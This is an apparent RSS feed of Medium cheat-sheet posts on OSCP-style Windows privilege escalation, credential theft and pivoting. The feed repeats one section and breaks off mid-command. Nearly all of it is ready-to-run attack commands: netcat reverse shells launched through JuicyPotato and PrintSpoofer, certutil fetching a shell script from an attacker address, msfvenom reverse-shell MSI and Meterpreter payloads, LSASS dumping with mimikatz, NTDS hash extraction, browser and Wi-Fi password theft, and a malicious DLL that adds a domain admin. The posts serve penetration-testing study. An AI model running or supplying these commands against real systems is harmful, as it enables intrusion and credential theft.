PowerShell</blockquote><pre>`get-service | ? {$_.DisplayName -like &#39;Druva*&#39;}`</pre><blockquote>Enumerate a running service by name with PowerShell</blockquote><pre>## Credential Theft</pre><pre>`findstr /SIM /C:&quot;password&quot; *.txt *ini *.cfg *.config *.xml`</pre><blockquote>Search for files with the phrase &quot;password&quot;</blockquote><pre>`gc &#39;C:\Users\lafi\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt&#39; | Select-String password`</pre><blockquote>Searching for passwords in Chrome dictionary files</blockquote><pre>`(Get-PSReadLineOption).HistorySavePath`</pre><blockquote>Confirm PowerShell history save path</blockquote><pre>`gc (Get-PSReadLineOption).HistorySavePath`</pre><blockquote>Reading PowerShell history file</blockquote><pre>`$credential = Import-Clixml -Path &#39;C:\scripts\pass.xml&#39;`</pre><blockquote>Decrypting PowerShell credentials</blockquote><pre>`cd c:\Users\lafi\Documents &amp; findstr /SI /M &quot;password&quot; *.xml *.ini *.txt`</pre><blockquote>Searching file contents for a string</blockquote><pre>`findstr /si password *.xml *.ini *.txt *.config`</pre><blockquote>Searching file contents for a string</blockquote><pre>`findstr /spin &quot;password&quot; *.*`</pre><blockquote>Searching file contents for a string</blockquote><pre>`select-string -Path C:\Users\lafi\Documents\*.txt -Pattern password`</pre><blockquote>Search file contents with PowerShell</blockquote><pre>`dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*`</pre><blockquote>Search for file extensions</blockquote><pre>`where /R C:\ *.config`</pre><blockquote>Search for file extensions</blockquote><pre>`Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore`</pre><blockquote>Search for file extensions using PowerShell</blockquote><pre>`cmdkey /list`</pre><blockquote>List saved credentials</blockquote><pre>`.\SharpChrome.exe logins /unprotect`</pre><blockquote>Retrieve saved Chrome credentials</blockquote><pre>`.\lazagne.exe -h`</pre><blockquote>View LaZagne help menu</blockquote><pre>`.\lazagne.exe all`</pre><blockquote>Run all LaZagne modules</blockquote><pre>`Invoke-SessionGopher -Target WINLPE-SRV01`</pre><blockquote>Running SessionGopher</blockquote><pre>`netsh wlan show profile`</pre><blockquote>View saved wireless networks</blockquote><pre>`netsh wlan show profile ilfreight_corp key=clear`</pre><blockquote>Retrieve saved wireless passwords</blockquote><pre>## Other Commands</pre><pre>`certutil.exe -urlcache -split -f <a href="http://10.10.14.3:8080/shell.bat">h ttp://10.10.14.3:80 80/shell.bat</a> shell.bat`</pre><blockquote>Transfer file with certutil</blockquote><pre>`certutil -encode file1 encodedfile`</pre><blockquote>Encode file with certutil</blockquote><pre>`certutil -decode encodedfile file2`</pre><blockquote>Decode file with certutil</blockquote><pre>`reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer`</pre><blockquote>Query for always install elevated registry key (1)</blockquote><pre>`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer`</pre><blockquote>Query for always install elevated registry key (2)</blockquote><pre>`msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi &gt; aie.msi`</pre><blockquote>Generate a malicious MSI package</blockquote><pre>`msiexec /i c:\users\lafi\desktop\aie.msi /quiet /qn /norestart`</pre><blockquote>Executing an MSI package from command line</blockquote><pre>`schtasks /query /fo LIST /v`</pre><blockquote>Enumerate scheduled tasks</blockquote><pre>`Get-ScheduledTask | select TaskName,State`</pre><blockquote>Enumerate scheduled tasks with PowerShell</blockquote><pre>`.\accesschk64.exe /accepteula -s -d C:\Scripts\`</pre><blockquote>Check permissions on a directory</blockquote><pre>`Get-LocalUser`</pre><blockquote>Check local user description field</blockquote><pre>`Get-WmiObject -Class Win32_OperatingSystem | select Description`</pre><blockquote>Enumerate computer description field</blockquote><pre>`guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmd`</pre><blockquote>Mount VMDK on Linux</blockquote><pre>`guestmount --add WEBSRV10.vhdx --ro /mnt/vhdx/ -m /dev/sda1`</pre><blockquote>Mount VHD/VHDX on Linux</blockquote><pre>`sudo python2.7 windows-exploit-suggester.py --update`</pre><blockquote>Update Windows Exploit Suggester database</blockquote><blockquote>`python2.7 windows-exploit-suggester.py --database 2021-05-13-mssb.xls --systeminfo win7lpe-systeminfo.txt`</blockquote><pre>Running Windows Exploit Suggester</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5764a1a25363" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pivoting and Tunneling for OSCP and beyond (Cheat Sheet)]]></title>
            <link>https://medium.com/@saintlafi/pivoting-and-tunneling-for-oscp-and-beyond-cheat-sheet-3435d1d6022?source=rss-8f6598de6297------2</link>
            <guid isPermaLink="false">https://medium.com/p/3435d1d6022</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cheatsheet]]></category>
            <category><![CDATA[pivoting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Lafi Almutairi]]></dc:creator>
            <pubDate>Mon, 31 Oct 2022 03:16:18 GMT</pubDate>
            <atom:updated>2023-02-24T13:27:19.792Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*UCU9LVDA479HLKjXqAlU1Q.png" /></figure><p><em>Checkout my personal notes on </em><a href="https://github.com/LafiAlmutairi/Pentest-Handbook"><em>github</em></a><em>, it’s a handbook i made using cherrytree that consists of many usefull commands for passing the OSCP or even doing an actual penetration tests.</em></p><p>This is a cheat sheet for pivoting and tunneling using many common tools.</p><pre>`ifconfig`</pre><blockquote>Linux-based command that displays all current network configurations of a system.</blockquote><pre>`ipconfig`</pre><blockquote>Windows-based command that displays all system network configurations.</blockquote><pre>`netstat -r`</pre><blockquote>Command used to display the routing table for all IPv4-based protocols.</blockquote><pre>`nmap -sT -p22,3306 &lt;IPaddressofTarget&gt;`</pre><blockquote>Nmap command used to scan a target for open ports allowing SSH or MySQL connections.</blockquote><pre>`ssh -L 1234:localhost:3306 Ubuntu@&lt;IPaddressofTarget&gt;`</pre><blockquote>SSH comand used to create an SSH tunnel from a local machine on local port `1234` to a remote target using port 3306.</blockquote><pre>`netstat -antp | grep 1234`</pre><blockquote>Netstat option used to display network connections associated with a tunnel created. Using `grep` to filter based on local port `1234` .</blockquote><pre>`nmap -v -sV -p1234 localhost`</pre><blockquote>Nmap command used to scan a host through a connection that has been made on local port `1234`.</blockquote><pre>`ssh -L 1234:localhost:3306 8080:localhost:80 ubuntu@&lt;IPaddressofTarget&gt;`</pre><blockquote>SSH command that instructs the ssh client to request the SSH server forward all data via port `1234` to `localhost:3306`.</blockquote><pre>`ssh -D 9050 ubuntu@&lt;IPaddressofTarget&gt;`</pre><blockquote>SSH command used to perform a dynamic port forward on port `9050` and establishes an SSH tunnel with the target. This is part of setting up a SOCKS proxy.</blockquote><pre>`tail -4 /etc/proxychains.conf`</pre><blockquote>Linux-based command used to display the last 4 lines of /etc/proxychains.conf. Can be used to ensure socks configurations are in place.</blockquote><pre>`proxychains nmap -v -sn 172.16.5.1-200`</pre><blockquote>Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against the hosts in the specified range `172.16.5.1-200` with increased verbosity (`-v`) disabling ping scan (`-sn`).</blockquote><pre>`proxychains nmap -v -Pn -sT 172.16.5.19`</pre><blockquote>Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against 172.16.5.19 with increased verbosity (`-v`), disabling ping discover (`-Pn`), and using TCP connect scan type (`-sT`).</blockquote><pre>`proxychains msfconsole`</pre><blockquote>Uses Proxychains to open Metasploit and send all generated network traffic through a SOCKS proxy.</blockquote><pre>`msf6 &gt; search rdp_scanner`</pre><blockquote>Metasploit search that attempts to find a module called `rdp_scanner`.</blockquote><pre>`proxychains xfreerdp /v:&lt;IPaddressofTarget&gt; /u:lafi /p:pass@123`</pre><blockquote>Used to connect to a target using RDP and a set of credentials using proxychains. This will send all traffic through a SOCKS proxy.</blockquote><pre>`msfvenom -p windows/x64/meterpreter/reverse_https lhost= &lt;InteralIPofPivotHost&gt; -f exe -o backupscript.exe LPORT=8080`</pre><blockquote>Uses msfvenom to generate a Windows-based reverse HTTPS Meterpreter payload that will send a call back to the IP address specified following `lhost=` on local port 8080 (`LPORT=8080`). Payload will take the form of an executable file called `backupscript.exe`.</blockquote><pre>`msf6 &gt; use exploit/multi/handler`</pre><blockquote>Used to select the multi-handler exploit module in Metasploit.</blockquote><pre>`scp backupscript.exe ubuntu@&lt;ipAddressofTarget&gt;:~/`</pre><blockquote>Uses secure copy protocol (`scp`) to transfer the file `backupscript.exe` to the specified host and places it in the Ubuntu user&#39;s home directory (`:~/`).</blockquote><pre>`python3 -m http.server 8123`</pre><blockquote>Uses Python3 to start a simple HTTP server listening on port `8123`. Can be used to retrieve files from a host.</blockquote><pre>`Invoke-WebRequest -Uri &quot;<a href="http://172.16.5.129:8123/backupscript.exe">http://172.16.5.129:8123/backupscript.exe</a>&quot; -OutFile &quot;C:\backupscript.exe&quot;`</pre><blockquote>PowerShell command used to download a file called backupscript.exe from a webserver (`172.16.5.129:8123`) and then save the file to location specified after `-OutFile`.</blockquote><pre>`ssh -R &lt;InternalIPofPivotHost&gt;:8080:0.0.0.0:80 ubuntu@&lt;ipAddressofTarget&gt; -vN`</pre><blockquote>SSH command used to create a reverse SSH tunnel from a target to an attack host. Traffic is forwarded on port `8080` on the attack host to port `80` on the target.</blockquote><pre>`msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=&lt;IPaddressofAttackHost -f elf -o backupjob LPORT=8080`</pre><blockquote>Uses msfveom to generate a Linux-based Meterpreter reverse TCP payload that calls back to the IP specified after `LHOST=` on port 8080 (`LPORT=8080`). Payload takes the form of an executable elf file called backupjob.</blockquote><pre>`msf6&gt; run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23`</pre><blockquote>Metasploit command that runs a ping sweep module against the specified network segment (`RHOSTS=172.16.5.0/23`).</blockquote><pre>`for i in {1...254} ;do (ping -c 1 172.16.5.$i | grep &quot;bytes from&quot; &amp;) ;done`</pre><blockquote>For Loop used on a Linux-based system to discover devices in a specified network segment.</blockquote><pre>`for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find &quot;Reply&quot;`</pre><blockquote>For Loop used on a Windows-based system to discover devices in a specified network segment.</blockquote><pre>`1..254 | % {&quot;172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)&quot;}`</pre><blockquote>PowerShell one-liner used to ping addresses 1 - 254 in the specified network segment.</blockquote><pre>`msf6 &gt; use auxiliary/server/socks_proxy`</pre><blockquote>Metasploit command that selects the `socks_proxy` auxiliary module.</blockquote><pre>`msf6 auxiliary(server/socks_proxy) &gt; jobs`</pre><blockquote>Metasploit command that lists all currently running jobs.</blockquote><pre>`socks4 127.0.0.1 9050`</pre><blockquote>Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 4 proxy is used in combination with proxychains on the specified IP address and port.</blockquote><pre>`Socks5 127.0.0.1 1080`</pre><blockquote>Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 5 proxy is used in combination with proxychains on the specified IP address and port.</blockquote><pre>`msf6 &gt; use post/multi/manage/autoroute`</pre><blockquote>Metasploit command used to select the autoroute module.</blockquote><pre>`meterpreter &gt; help portfwd`</pre><blockquote>Meterpreter command used to display the features of the portfwd command.</blockquote><pre>`meterpreter &gt; portfwd add -l 3300 -p 3389 -r &lt;IPaddressofTarget&gt;`</pre><blockquote>Meterpreter-based portfwd command that adds a forwarding rule to the current Meterpreter session. This rule forwards network traffic on port 3300 on the local machine to port 3389 (RDP) on the target.</blockquote><pre>`xfreerdp /v:localhost:3300 /u:victor /p:pass@123`</pre><blockquote>Uses xfreerdp to connect to a remote host through localhost:3300 using a set of credentials. Port forwarding rules must be in place for this to work properly.</blockquote><pre>`netstat -antp`</pre><blockquote>Used to display all (`-a`) active network connections with associated process IDs. `-t` displays only TCP connections.`-n` displays only numerical addresses. `-p` displays process IDs associated with each displayed connection.</blockquote><pre>`meterpreter &gt; portfwd add -R -l 8081 -p 1234 -L &lt;IPaddressofAttackHost&gt;`</pre><blockquote>Meterpreter-based portfwd command that adds a forwarding rule that directs traffic coming on on port 8081 to the port `1234` listening on the IP address of the Attack Host.</blockquote><pre>`meterpreter &gt; bg`</pre><blockquote>Meterpreter-based command used to run the selected metepreter session in the background. Similar to background a process in Linux</blockquote><pre>`socat TCP4-LISTEN:8080,fork TCP4:&lt;IPaddressofAttackHost&gt;:80`</pre><blockquote>Uses Socat to listen on port 8080 and then to fork when the connection is received. It will then connect to the attack host on port 80.</blockquote><pre>`socat TCP4-LISTEN:8080,fork TCP4:&lt;IPaddressofTarget&gt;:8443`</pre><blockquote>Uses Socat to listen on port 8080 and then to fork when the connection is received. Then it will connect to the target host on port 8443.</blockquote><pre>`plink -D 9050 ubuntu@&lt;IPaddressofTarget&gt;`</pre><blockquote>Windows-based command that uses PuTTY&#39;s Plink.exe to perform SSH dynamic port forwarding and establishes an SSH tunnel with the specified target. This will allow for proxy chaining on a Windows host, similar to what is done with Proxychains on a Linux-based host.</blockquote><pre>`sudo apt-get install sshuttle`</pre><blockquote>Uses apt-get to install the tool sshuttle.</blockquote><pre>`sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0 -v`</pre><blockquote>Runs sshuttle, connects to the target host, and creates a route to the 172.16.5.0 network so traffic can pass from the attack host to hosts on the internal network (`172.16.5.0`).</blockquote><pre>`sudo git clone <a href="https://github.com/klsecservices/rpivot.git%60">https://github.com/klsecservices/rpivot.git`</a></pre><blockquote>Clones the rpivot project GitHub repository.</blockquote><pre>`sudo apt-get install python2.7`</pre><blockquote>Uses apt-get to install python2.7.</blockquote><pre>`python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0`</pre><blockquote>Used to run the rpivot server (`server.py`) on proxy port `9050`, server port `9999` and listening on any IP address (`0.0.0.0`).</blockquote><pre>`scp -r rpivot ubuntu@&lt;IPaddressOfTarget&gt;`</pre><blockquote>Uses secure copy protocol to transfer an entire directory and all of its contents to a specified target.</blockquote><pre>`python2.7 client.py --server-ip 10.10.14.18 --server-port 9999`</pre><blockquote>Used to run the rpivot client (`client.py`) to connect to the specified rpivot server on the appropriate port.</blockquote><pre>`proxychains firefox-esr &lt;IPaddressofTargetWebServer&gt;:80`</pre><blockquote>Opens firefox with Proxychains and sends the web request through a SOCKS proxy server to the specified destination web server.</blockquote><pre>`python client.py --server-ip &lt;IPaddressofTargetWebServer&gt; --server-port 8080 --ntlm-proxy-ip IPaddressofProxy&gt; --ntlm-proxy-port 8081 --domain &lt;nameofWindowsDomain&gt; --username &lt;username&gt; --password &lt;password&gt;`</pre><blockquote>Use to run the rpivot client to connect to a web server that is using HTTP-Proxy with NTLM authentication.</blockquote><pre>`netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25`</pre><blockquote>Windows-based command that uses `netsh.exe` to configure a portproxy rule called `v4tov4` that listens on port 8080 and forwards connections to the destination 172.16.5.25 on port 3389.</blockquote><pre>`netsh.exe interface portproxy show v4tov4`</pre><blockquote>Windows-based command used to view the configurations of a portproxy rule called v4tov4.</blockquote><pre>`git clone <a href="https://github.com/iagox86/dnscat2.git%60">https://github.com/iagox86/dnscat2.git`</a></pre><blockquote>Clones the `dnscat2` project GitHub repository.</blockquote><pre>`sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache`</pre><blockquote>Used to start the dnscat2.rb server running on the specified IP address, port (`53`) &amp; using the domain `inlanefreight.local` with the no-cache option enabled.</blockquote><pre>`git clone <a href="https://github.com/lukebaggett/dnscat2-powershell.git%60">https://github.com/lukebaggett/dnscat2-powershell.git`</a></pre><blockquote>Clones the dnscat2-powershell project Github repository.</blockquote><pre>`Import-Module dnscat2.ps1`</pre><blockquote>PowerShell command used to import the dnscat2.ps1 tool.</blockquote><pre>`Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd`</pre><blockquote>PowerShell command used to connect to a specified dnscat2 server using a IP address, domain name and preshared secret. The client will send back a shell connection to the server (`-Exec cmd`).</blockquote><pre>`dnscat2&gt; ?`</pre><blockquote>Used to list dnscat2 options.</blockquote><pre>`dnscat2&gt; window -i 1`</pre><blockquote>Used to interact with an established dnscat2 session.</blockquote><pre>`./chisel server -v -p 1234 --socks5`</pre><blockquote>Used to start a chisel server in verbose mode listening on port `1234` using SOCKS version 5.</blockquote><pre>`./chisel client -v 10.129.202.64:1234 socks`</pre><blockquote>Used to connect to a chisel server at the specified IP address &amp; port using socks.</blockquote><pre>`git clone <a href="https://github.com/utoni/ptunnel-ng.git%60">https://github.com/utoni/ptunnel-ng.git`</a></pre><blockquote>Clones the ptunnel-ng project GitHub repository.</blockquote><pre>`sudo ./autogen.sh`</pre><blockquote>Used to run the autogen.sh shell script that will build the necessary ptunnel-ng files.</blockquote><pre>`sudo ./ptunnel-ng -r10.129.202.64 -R22`</pre><blockquote>Used to start the ptunnel-ng server on the specified IP address (`-r`) and corresponding port (`-R22`).</blockquote><pre>`sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22`</pre><blockquote>Used to connect to a specified ptunnel-ng server through local port 2222 (`-l2222`).</blockquote><pre>`ssh -p2222 -lubuntu 127.0.0.1`</pre><blockquote>SSH command used to connect to an SSH server through a local port. This can be used to tunnel SSH traffic through an ICMP tunnel.</blockquote><pre>`regsvr32.exe SocksOverRDP-Plugin.dll`</pre><blockquote>Windows-based command used to register the SocksOverRDP-PLugin.dll.</blockquote><pre>`netstat -antb |findstr 1080`</pre><blockquote>Windows-based command used to list TCP network connections listening on port 1080.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3435d1d6022" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Privilege Escalation For OSCP and beyond (Cheat Sheet)]]></title>
            <link>https://medium.com/@saintlafi/windows-privilege-escalation-for-oscp-and-beyond-cheat-sheet-b2c4a025dc6c?source=rss-8f6598de6297------2</link>
            <guid isPermaLink="false">https://medium.com/p/b2c4a025dc6c</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[cheatsheet]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Lafi Almutairi]]></dc:creator>
            <pubDate>Sat, 29 Oct 2022 22:59:42 GMT</pubDate>
            <atom:updated>2023-02-24T13:29:26.137Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8GWSFJfhV9I4f88ZfZdqDg.jpeg" /></figure><p>This is a detailed cheat sheet for windows PE, its very handy in many certification like OSCP, OSCE and CRTE</p><p><em>Checkout my personal notes on </em><a href="https://github.com/LafiAlmutairi/Pentest-Handbook"><em>github</em></a><em>, it’s a handbook i made using cherrytree that consists of many usefull commands for passing the OSCP or even doing an actual penetration tests.</em></p><pre>`ipconfig /all`</pre><blockquote>Get interface, IP address and DNS information</blockquote><pre>`arp -a`</pre><blockquote>Review ARP table</blockquote><pre>`route print`</pre><blockquote>Review routing table</blockquote><pre>`Get-MpComputerStatus`</pre><blockquote>Check Windows Defender status</blockquote><pre>`Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections`</pre><blockquote>List AppLocker rules</blockquote><pre>`Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone`</pre><blockquote>Test AppLocker policy</blockquote><pre>`set`</pre><blockquote>Display all environment variables</blockquote><pre>`systeminfo`</pre><blockquote>View detailed system configuration information</blockquote><pre>`wmic qfe`</pre><blockquote>Get patches and updates</blockquote><pre>`wmic product get name`</pre><blockquote>Get installed programs</blockquote><pre>`tasklist /svc`</pre><blockquote>Display running processes</blockquote><pre>`query user`</pre><blockquote>Get logged-in users</blockquote><pre>`echo %USERNAME%`</pre><blockquote>Get current user</blockquote><pre>`whoami /priv`</pre><blockquote>View current user privileges</blockquote><pre>`whoami /groups`</pre><blockquote>View current user group information</blockquote><pre>`net user`</pre><blockquote>Get all system users</blockquote><pre>`net localgroup`</pre><blockquote>Get all system groups</blockquote><pre>`net localgroup administrators`</pre><blockquote>View details about a group</blockquote><pre>`net accounts`</pre><blockquote>Get passsword policy</blockquote><pre>`netstat -ano`</pre><blockquote>Display active network connections</blockquote><pre>`pipelist.exe /accepteula`</pre><blockquote>List named pipes</blockquote><pre>`gci \\.\pipe\`</pre><blockquote>List named pipes with PowerShell</blockquote><pre>`accesschk.exe /accepteula \\.\Pipe\lsass -v`</pre><blockquote>Review permissions on a named pipe</blockquote><pre>`mssqlclient.py sql_dev@10.129.43.30 -windows-auth`</pre><blockquote>Connect using mssqlclient.py</blockquote><pre>`enable_xp_cmdshell`</pre><blockquote>Enable xp_cmdshell with mssqlclient.py</blockquote><pre>`xp_cmdshell whoami`</pre><blockquote>Run OS commands with xp_cmdshell</blockquote><pre>`c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a &quot;/c c:\tools\nc.exe 10.10.14.3 443 -e cmd.exe&quot; -t *`</pre><blockquote>Escalate privileges with JuicyPotato</blockquote><pre>`c:\tools\PrintSpoofer.exe -c &quot;c:\tools\nc.exe 10.10.14.3 8443 -e cmd&quot;`</pre><blockquote>Escalating privileges with PrintSpoofer</blockquote><pre>`procdump.exe -accepteula -ma lsass.exe lsass.dmp`</pre><blockquote>Take memory dump with ProcDump</blockquote><pre>`sekurlsa::minidump lsass.dmp` and `sekurlsa::logonpasswords`</pre><blockquote>Use MimiKatz to extract credentials from LSASS memory dump</blockquote><pre>`dir /q C:\backups\wwwroot\web.config`</pre><blockquote>Checking ownership of a file</blockquote><pre>`takeown /f C:\backups\wwwroot\web.config`</pre><blockquote>Taking ownership of a file</blockquote><pre>`Get-ChildItem -Path ‘C:\backups\wwwroot\web.config’ | select name,directory, @{Name=“Owner”;Expression={(Ge t-ACL $_.Fullname).Owner}}`</pre><blockquote>Confirming changed ownership of a file</blockquote><pre>`icacls “C:\backups\wwwroot\web.config” /grant lafi:F`</pre><blockquote>Modifying a file ACL</blockquote><pre>`secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL`</pre><blockquote>Extract hashes with secretsdump.py</blockquote><pre>`robocopy /B E:\Windows\NTDS .\ntds ntds.dit`</pre><blockquote>Copy files with ROBOCOPY</blockquote><pre>`wevtutil qe Security /rd:true /f:text | Select-String &quot;/user&quot;`</pre><blockquote>Searching security event logs</blockquote><pre>`wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr &quot;/user&quot;`</pre><blockquote>Passing credentials to wevtutil</blockquote><pre>`Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like &#39;*/user*&#39; } | Select-Object @{name=&#39;CommandLine&#39;;expression={ $_.Properties[8].Value }}`</pre><blockquote>Searching event logs with PowerShell</blockquote><pre>`msfvenom -p windows/x64/exec cmd=&#39;net group &quot;domain admins&quot; netadm /add /domain&#39; -f dll -o adduser.dll`</pre><blockquote>Generate malicious DLL</blockquote><pre>`dnscmd.exe /config /serverlevelplugindll adduser.dll`</pre><blockquote>Loading a custom DLL with dnscmd</blockquote><pre>`wmic useraccount where name=&quot;netadm&quot; get sid`</pre><blockquote>Finding a user&#39;s SID</blockquote><pre>`sc.exe sdshow DNS`</pre><blockquote>Checking permissions on DNS service</blockquote><pre>`sc stop dns`</pre><blockquote>Stopping a service</blockquote><pre>`sc start dns`</pre><blockquote>Starting a service</blockquote><pre>`reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters`</pre><blockquote>Querying a registry key</blockquote><pre>`reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll`</pre><blockquote>Deleting a registry key</blockquote><pre>`sc query dns`</pre><blockquote>Checking a service status</blockquote><pre>`Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local`</pre><blockquote>Disabling the global query block list</blockquote><pre>`Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3`</pre><blockquote>Adding a WPAD record</blockquote><pre>`cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp`</pre><blockquote>Compile with cl.exe</blockquote><pre>`reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d &quot;\??\C:\Tools\Capcom.sys&quot;`</pre><blockquote>Add reference to a driver (1)</blockquote><pre>`reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1`</pre><blockquote>Add reference to a driver (2)</blockquote><pre>`.\DriverView.exe /stext drivers.txt` and `cat drivers.txt | Select-String -pattern Capcom`</pre><blockquote>Check if driver is loaded</blockquote><pre>`EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys`</pre><blockquote>Using EopLoadDriver</blockquote><pre>`c:\Tools\PsService.exe security AppReadiness`</pre><blockquote>Checking service permissions with PsService</blockquote><pre>`sc config AppReadiness binPath= &quot;cmd /c net localgroup Administrators server_adm /add&quot;`</pre><blockquote>Modifying a service binary path</blockquote><pre>## Credential Theft</pre><pre>`findstr /SIM /C:&quot;password&quot; *.txt *ini *.cfg *.config *.xml`</pre><blockquote>Search for files with the phrase &quot;password&quot;</blockquote><pre>`gc &#39;C:\Users\lafi\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt&#39; | Select-String password`</pre><blockquote>Searching for passwords in Chrome dictionary files</blockquote><pre>`(Get-PSReadLineOption).HistorySavePath`</pre><blockquote>Confirm PowerShell history save path</blockquote><pre>`gc (Get-PSReadLineOption).HistorySavePath`</pre><blockquote>Reading PowerShell history file</blockquote><pre>`$credential = Import-Clixml -Path &#39;C:\scripts\pass.xml&#39;`</pre><blockquote>Decrypting PowerShell credentials</blockquote><pre>`cd c:\Users\lafi\Documents &amp; findstr /SI /M &quot;password&quot; *.xml *.ini *.txt`</pre><blockquote>Searching file contents for a string</blockquote><pre>`findstr /si password *.xml *.ini *.txt *.config`</pre><blockquote>Searching file contents for a string</blockquote><pre>`findstr /spin &quot;password&quot; *.*`</pre><blockquote>Searching file contents for a string</blockquote><pre>`select-string -Path C:\Users\lafi\Documents\*.txt -Pattern password`</pre><blockquote>Search file contents with PowerShell</blockquote><pre>`dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*`</pre><blockquote>Search for file extensions</blockquote><pre>`where /R C:\ *.config`</pre><blockquote>Search for file extensions</blockquote><pre>`Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore`</pre><blockquote>Search for file extensions using PowerShell</blockquote><pre>`cmdkey /list`</pre><blockquote>List saved credentials</blockquote><pre>`.\SharpChrome.exe logins /unprotect`</pre><blockquote>Retrieve saved Chrome credentials</blockquote><pre>`.\lazagne.exe -h`</pre><blockquote>View LaZagne help menu</blockquote><pre>`.\lazagne.exe all`</pre><blockquote>Run all LaZagne modules</blockquote><pre>`Invoke-SessionGopher -Target WINLPE-SRV01`</pre><blockquote>Running SessionGopher</blockquote><pre>`netsh wlan show profile`</pre><blockquote>View saved wireless networks</blockquote><pre>`netsh wlan show profile ilfreight_corp key=clear`</pre><blockquote>Retrieve saved wireless passwords</blockquote><pre>`certutil.exe -urlcache -split -f <a href="http://10.10.14.3:8080/shell.bat">http://10.10.14.3:8080/shell.bat</a> shell.bat`</pre><blockquote>Transfer file with certutil</blockquote><pre>`certutil -encode file1 encodedfile`</pre><blockquote>Encode file with certutil</blockquote><pre>`certutil -decode encodedfile file2`</pre><blockquote>Decode file with certutil</blockquote><pre>`reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer`</pre><blockquote>Query for always install elevated registry key (1)</blockquote><pre>`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer`</pre><blockquote>Query for always install elevated registry key (2)</blockquote><pre>`msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi &gt; aie.msi`</pre><blockquote>Generate a malicious MSI package</blockquote><pre>`msiexec /i c:\users\lafi\desktop\aie.msi /quiet /qn /norestart`</pre><blockquote>Executing an MSI package from command line</blockquote><pre>`schtasks /query /fo LIST /v`</pre><blockquote>Enumerate scheduled tasks</blockquote><pre>`Get-ScheduledTask | select TaskName,State`</pre><blockquote>Enumerate scheduled tasks with PowerShell</blockquote><pre>`.\accesschk64.exe /accepteula -s -d C:\Scripts\`</pre><blockquote>Check permissions on a directory</blockquote><pre>`Get-LocalUser`</pre><blockquote>Check local user description field</blockquote><pre>`Get-WmiObject -Class Win32_OperatingSystem | select Description`</pre><blockquote>Enumerate computer description field</blockquote><pre>`guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmd`</pre><blockquote>Mount VMDK on Linux</blockquote><pre>`guestmount --add WEBSRV10.vhdx --ro /mnt/vhdx/ -m /dev/sda1`</pre><blockquote>Mount VHD/VHDX on Linux</blockquote><pre>`sudo python2.7 windows-exploit-suggester.py --update`</pre><blockquote>Update Windows Exploit Suggester database</blockquote><pre>`python2.7 windows-exploit-suggester.py --database 2021-05-13-mssb.xls --systeminfo 